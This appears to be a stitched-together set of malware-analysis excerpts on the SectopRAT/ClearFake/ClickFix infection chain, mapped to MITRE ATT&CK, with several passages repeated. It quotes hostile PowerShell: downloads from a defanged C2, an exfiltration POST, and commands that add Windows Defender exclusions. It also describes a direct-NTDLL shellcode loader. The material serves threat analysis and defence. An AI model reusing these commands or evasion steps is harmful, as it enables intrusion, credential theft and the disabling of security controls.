SectopRAT

MITRE ATT&CK Mapping Tactic Technique ID Notes Resource Development Acquire Infrastructure: Domains T1583.001 casyetnx[.]pw via CNOBIN, hosting via dataforest/VDSINA

MITRE ATT&CK Mapping ... Resource Development Compromise Infrastructure T1584.004 Compromised acecareer.edu WordPress for payload hosting

ClearFake spreads by compromising legitimate websites and injecting hidden JavaScript code into their pages. Victims do not need to do anything suspicious to get infected. Simply visiting a tampered legitimate site can trigger the malware’s multi-stage delivery chain.

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...

During routine malware analysis, I discovered a PowerShell-based dropper script being delivered from a malicious C2 domain... This script disables security controls, fetches 2 payloads (SectopRAT, HiJack Loader), exfiltrates data, and removes all traces of its execution.

Stage 3 -- Legitimate Python Binary : The ZIP extracts to a directory containing FNPLicensingService.exe -- which is actually a renamed, legitimately signed CPython 3.15 pythonw.exe... Stage 4 -- Obfuscated Python Loader : chrome_100_percent.pak ... is an ASCII text file containing obfuscated Python code.

After decryption, the loader allocates executable memory via NtAllocateVirtualMemory, writes the shellcode, and creates a new thread with NtCreateThreadEx. Both calls go directly to NTDLL, bypassing the Win32 API layer where most EDR products place their hooks.

Then S-D.exe is executed from each extracted directory.

The user copies and pastes a PowerShell command into their own terminal, bypassing email security gateways, browser sandboxes, and most EDR behavioral triggers that watch for automated script execution.

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...

MITRE ATT&CK Mapping ... Persistence Boot or Logon Autostart T1547 SectopRAT standard persistence

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...

MITRE ATT&CK Mapping ... Persistence Boot or Logon Autostart T1547 SectopRAT standard persistence

MITRE ATT&CK Mapping ... Defense Evasion Software Packing T1027.002 Reversed Base64 + Zlib compression

MITRE ATT&CK Mapping ... Defense Evasion Masquerading T1036.005 FNPLicensingService.exe (renamed pythonw.exe)

Before exiting, the malware removes: All downloaded ZIPs and folders The exfiltrated result file Itself via a helper script deleter.ps1

The chrome_100_percent.pak file decodes through three distinct layers... reverse string, base64 decode, zlib decompress ... rolling XOR decrypts embedded SectopRAT PE

Architecture gate: Forces relaunch in 32-bit PowerShell via $env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe... MITRE ATT&CK Mapping... T1218 32-bit PowerShell relaunch via SysWOW64.

Four contracts served distinct roles: Smart Contract A delivered the anti-analysis dispatcher...

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity, and writes results to a result.txt file.

After decryption, the result is a valid PE32 .NET assembly loaded directly into memory via [System.Reflection.Assembly]::Load() -- entirely fileless.

Victims saw a convincing fake Google reCAPTCHA overlay complete with an “I’m not a robot” checkbox. Clicking it triggered the ClickFix social engineering panel...

ACRStealer, a C++ infostealer that harvests passwords, credit card numbers, cookies, and cryptocurrency wallet data.

SectopRAT... Browser credential theft -- Chrome, Firefox, Edge profile data, saved passwords, cookies.

The malware collects the victim’s external IP address... $externalIP = Invoke-RestMethod -Uri "http://ifconfig.me/ip"

The malware collects the victim’s external IP address and username... $username = $env:USERNAME

Four contracts served distinct roles: Smart Contract A delivered the anti-analysis dispatcher...

The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity, and writes results to a result.txt file.

SectopRAT... Software inventory -- enumeration of all installed applications.

Stage 9: Data Theft Browser credential/cookie theft Cryptocurrency wallet theft Application credential harvesting

Victims saw a convincing fake Google reCAPTCHA overlay complete with an “I’m not a robot” checkbox. Clicking it triggered the ClickFix social engineering panel...

SectopRAT... Email client harvesting -- Outlook and Thunderbird data extraction.

Clicking it triggered the ClickFix social engineering panel, which simultaneously injected a malicious command directly into the victim’s clipboard.

SectopRAT, a .NET-based Remote Access Trojan capable of hijacking browser sessions

The script uses Invoke-WebRequest to pull two ZIP archives from the same C2... Each ZIP is extracted to a fake Chrome cache folder inside %TEMP%.

In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address.

Stage 8: C2 Communication HTTP to 94[.]26[.]106[.]216:9000 /wbinjget -- heartbeat ... /wmglb -- payload/config download

The script uses Invoke-WebRequest to pull two ZIP archives from the same C2... Invoke-WebRequest -URI https://fancysunshine[.]top/s8dj3bh9w877/NC.zip -outfile $file ... Invoke-WebRequest -URI https://fancysunshine[.]top/s8dj3bh9w877/RD.zip -outfile $file1

MITRE ATT&CK Mapping ... Command and Control Non-Standard Port T1571 Port 9000

Then, it exfiltrates the result via an HTTP POST to: https://fancysunshine[.]top/s8dj3bh9w877/upload.php Payload structure: multipart/form-data, with result.txt and a folder tag report.

The script attempts to evade detection by creating Windows Defender exclusions for the entire C drive and two known processes often abused in malware campaigns. Add-MpPreference -ExclusionPath $folderPath Add-MpPreference -ExclusionProcess $processName Add-MpPreference -ExclusionProcess $processName1